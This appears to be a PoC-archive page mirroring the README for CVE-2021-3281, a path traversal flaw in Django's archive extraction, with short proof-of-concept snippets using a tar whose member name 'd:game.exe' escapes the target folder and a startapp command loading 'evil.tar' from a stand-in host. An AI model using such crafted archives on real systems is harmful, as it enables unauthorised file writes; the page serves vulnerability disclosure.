Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2021-3281 PoC — Django 路径遍历漏洞

Source
Associated Vulnerability
Title: Django 路径遍历漏洞 (CVE-2021-3281)
Description:In Django 2.2 before 2.2.18, 3.0 before 3.0.12, and 3.1 before 3.1.6, the django.utils.archive.extract method (used by "startapp --template" and "startproject --template") allows directory traversal via an archive with absolute paths or relative paths with dot segments.
Readme
# CVE-2021-3281

There is a Directory Traversal vulnerability in django.utils.archive.py, lineno:171, in Class TarArchive.

The function call os.path.join(to_path, name) didn't check the param "name",if someone use this util on windows platform,there'll be a Directory Traversal risk, the POC is:

```
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
```

### POC

```python
from django.utils import archive
archive.extract('test.tar','.')
```

There is same problem in Python/Lib/tarfile.py:

```python
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
```

and the doc gives a warning ,see https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

### Link

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →